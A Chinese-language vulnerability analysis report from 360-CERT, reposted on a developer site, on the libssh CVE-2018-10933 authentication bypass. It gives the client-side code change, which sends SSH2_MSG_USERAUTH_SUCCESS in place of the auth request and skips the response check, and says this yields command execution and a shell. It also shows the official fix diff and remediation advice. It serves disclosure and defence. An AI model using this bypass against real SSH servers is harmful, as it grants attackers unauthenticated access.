libssh CVE-2018-10933 身份验证绕过漏洞分析报告

栏目: 编程工具 · 发布时间: 6年前

内容简介:报告编号:B6-2018-101703报告来源:360-CERT

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

报告编号:B6-2018-101703

报告来源:360-CERT

报告作者:360-CERT

更新日期:2018-10-17

0x00 事件背景

2018-10-16 libssh发布更新公告旨在解决CVE-2018-10933的问题

libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。 通过向服务端提供SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动身份验证的 SSH2_MSG_USERAUTH_REQUEST消息,攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。

0x01 详情分析

在libssh的example中已经存在一些server端的例子,测试环境则采用这些例子进行说明

这个漏洞能用,但目前就分析而言发现,无法很好的泛用,所以建议及时进行更新以免遭受影响

在libssh中以session的方式对会话进行处理,无论是server的建立还是client的连接。

均以

session = ssh_new();

进行session建立

因为这个漏洞是直接获得AUTH所以服务端的配置和客户端的连接认证方式等完全不用在意

简单的client连接示例的部分代码,以体现逻辑为主。

首先是设置一些参数,然后利用session进行连接

然后进行knownhost认证处理,这步就是平时在进行ssh连接的时候进行提醒的是否要保存信 息

if (ssh_options_set(session, SSH_OPTIONS_HOST ,host) < 0)
    return -1;
if(ssh_connect(session)){
    fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session));
    return -1;
}
state=verify_knownhost(session);
if (state != 0)
    return -1;
auth=authenticate_console(session);
if(auth != SSH_AUTH_SUCCESS){
    return -1;
}

authenticate_console(session)

的流程为先发送一个 ssh_userauth_none 再根据选择的AUTH方式,尝试GSSAPI、PublicKey、 Password的方式

这里采用的patch掉client中发送密码认证的时候的数据包

将第二行的 SSH2_MSG_USERAUTH_REQUEST -> SSH2_MSG_USERAUTH_SUCCESS

rc = ssh_buffer_pack(session->out_buffer, "bsssbs",
            SSH2_MSG_USERAUTH_SUCCESS,
            username ? username : session->opts.username,
            "ssh-connection",
            "password",
            0, /* false */
            password
    );

并且需要在 ssh_userauth_get_response 之前直接返回,因为这一步会再次向服务端进行通 信,但此时受影响版本的server已经 Authentication successful

这时候的session就已经可以获得相应的权限了。通过官方的Tutorial的执行命令的例子调 用 ssh_channel_request_exec 进行命令执行

0x02 修复分析

官方通过增加字段,并注册额外的session状态校验函数进行检验,在处理流程中标注 session处于的状态,避免client随意发送 SSH2_MSG_USERAUTH_SUCCESS 进行bypass

+static enum ssh_packet_filter_result_e ssh_packet_incoming_filter(ssh_session session)
+    case SSH2_MSG_USERAUTH_SUCCESS:                   // 52
+        if ((session->auth_state != SSH_AUTH_STATE_KBDINT_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_PUBKEY_AUTH_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_PASSWORD_AUTH_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_GSSAPI_MIC_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_AUTH_NONE_SENT))
+        {
+            rc = SSH_PACKET_DENIED;
+            break;
+        }

该校验函数判断session的状态是否处于 SSH_AUTH_STATE_PUBKEY_AUTH_SENT , SSH_AUTH_STATE_PASSWORD_AUTH_SENT , SSH_AUTH_STATE_NONE_SENT 这些个状态 来确认是否要接受数据包里带有 SSH2_MSG_USERAUTH_SUCCESS 的情况

@@ -88,6 +88,7 @@ static int ssh_auth_response_termination(void *user){
     case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
     case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
     case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
+    case SSH_AUTH_STATE_AUTH_NONE_SENT:
       return 0;
     default:
       return 1;
@@ -143,6 +144,7 @@ static int ssh_userauth_get_response(ssh_session session) {
         case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
         case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
         case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
+        case SSH_AUTH_STATE_AUTH_NONE_SENT:
         case SSH_AUTH_STATE_NONE:
             /* not reached */
             rc = SSH_AUTH_ERROR;

同时在每次的response校验中增加该字段,如果该字段存在就直接返回error

0x03 验证截图

执行命令

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

获得shell

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

0x04 影响范围

libssh0.6以上的版本

目前各大发行版中部分已经对相应package进行更新,但还未完全进行版本迭代,具体情况可以关注一下链接

Debain

https://security-tracker.debian.org/tracker/CVE-2018-10933

ubuntu

https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10933.html

opensuse

https://www.suse.com/security/cve/CVE-2018-10933/

redhat

https://access.redhat.com/security/cve/cve-2018-10933

通过360CERT Quake资产检索平台发现共计3,170台设备开放libssh服务在外网,但并非所有的libssh服务均处于受影响的版本范围。该漏洞影响范围有限。

libssh CVE-2018-10933 身份验证绕过漏洞分析报告

0x05 修复建议

及时对服务端libssh版本进行更新

可以在如下网址下载最新的0.7.6以及0.8.4版本

https://red.libssh.org/projects/libssh/files

或者在如下地址寻找对应版本的patch文件

https://www.libssh.org/security/

0x06 时间线

2018-10-16libssh 官方发布重要更新

2018-10-16360CERT发布预警报告

2018-10-17360CERT发布分析报告

0x07 参考链接

  1. libssh官方更新
  2. libssh修复patch
  3. libssh CVE-2018-10933说明
  4. 360CERT预警报告

以上所述就是小编给大家介绍的《libssh CVE-2018-10933 身份验证绕过漏洞分析报告》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web Form Design

Web Form Design

Luke Wroblewski / Rosenfeld Media / 2008-5-2 / GBP 25.00

Forms make or break the most crucial online interactions: checkout, registration, and any task requiring information entry. In Web Form Design, Luke Wroblewski draws on original research, his consider......一起来看看 《Web Form Design》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换